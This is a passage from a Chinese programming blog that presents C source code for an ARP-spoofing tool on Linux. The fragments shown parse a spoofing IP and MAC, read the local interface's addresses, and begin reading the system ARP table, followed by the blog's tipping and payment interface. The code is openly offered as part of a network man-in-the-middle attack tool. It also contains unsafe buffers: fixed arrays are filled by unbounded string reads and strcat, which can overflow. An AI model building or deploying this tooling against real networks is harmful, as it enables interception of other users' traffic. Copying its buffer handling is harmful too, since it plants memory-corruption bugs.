linux下的arp欺骗程序实现,Mac和Linux系统的:Arp欺骗源码

memcpy(Ret_IP , &tSpoofing_IP ,sizeof(int));

// resolution MAC to ethernet format

if(MAC_FormatCheck(MAC_s)==0)

goto ResError ;

for(int i=0 ; i<6 ;i++)

{

Ret_MAC[i] = MAC_SubFormatTransform(&MAC_s[i*3]) ;

}

return 1;

ResError :

memset(Ret_IP ,0 ,sizeof(char)*15);

memset(Ret_MAC ,0 ,sizeof(char)*17);

return 0 ;

}

//--------------------------------------------------------------------------

// **********************************

// Get Localhost Interface information

// **********************************

//

// get localhost MAC and IP via iface

int getInterfaceInfo(unsigned char * iface ,unsigned char *local_IP ,unsigned char *local_MAC )

{

// Get MAC address

char tMAC[18]="";

char ifPath[256]="/sys/class/net/";

strcat(ifPath ,(char*)iface);

strcat(ifPath ,"/address");

FILE *if_f =fopen(ifPath , "r");

if(if_f == NULL)

return 0 ;

else

{

fread(tMAC ,1 ,17 ,if_f);        //read MAC from /sys/class/net/iface/address

fclose(if_f) ;

for(int i=0 ; i<6 ;i++)        // confirm data to  local_MAC

{

*(local_MAC+i) = MAC_SubFormatTransform(&tMAC[i*3]) ;

}

}

// Get IP address

// using ioctrl to get local IP ,

// it may not bt an best way to achive that , i still search another way

int fd;

struct ifreq ifr;

in_addr tIP ;

fd = socket(AF_INET, SOCK_DGRAM, 0);    //using ioctl get IP address

ifr.ifr_addr.sa_family = AF_INET;

strcpy(ifr.ifr_name , (char*)iface);

ioctl(fd, SIOCGIFADDR, &ifr);

close(fd);

tIP =((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr;

memcpy((char*)local_IP , &tIP ,sizeof(in_addr));

return 1;

}

//--------------------------------------------------------------------------

// ************************************

// Fetch Localhosdt ARP table

// ************************************

// find IP or MAC from  localhost arp table ,

#define FETCH_ARP_TABLE_ERROR        0x0000        // could not access localhost ARP table

#define FETCH_ARP_TABLE_SUCCESS        0x0001        // find ARP entry

#define FETCH_ARP_TABLE_UNKNOW        0x0002        // ARP entry unknow or empty

int FetchARPTable(char * TargetIP , char * TargetMAC)

{

// ARP table at /proc/net/arp

int ret =FETCH_ARP_TABLE_UNKNOW;

FILE *ARP_f =fopen("/proc/net/arp" , "r");

if(ARP_f == NULL)

{

ret =FETCH_ARP_TABLE_ERROR;

}

else

{

// pass title

char Title[100] ;        //file title , pass that

fgets(Title ,100 ,ARP_f);

char t_IP[15] ;

char t_HW_type[8] ;

char t_Flags[8] ;

char t_MAC[17] ;

char t_Mask[5] ;

char t_Device[16] ;

while(!feof(ARP_f)) //search arp table

{

fscanf(ARP_f ,"%s %s %s %s %s %s",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device);

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值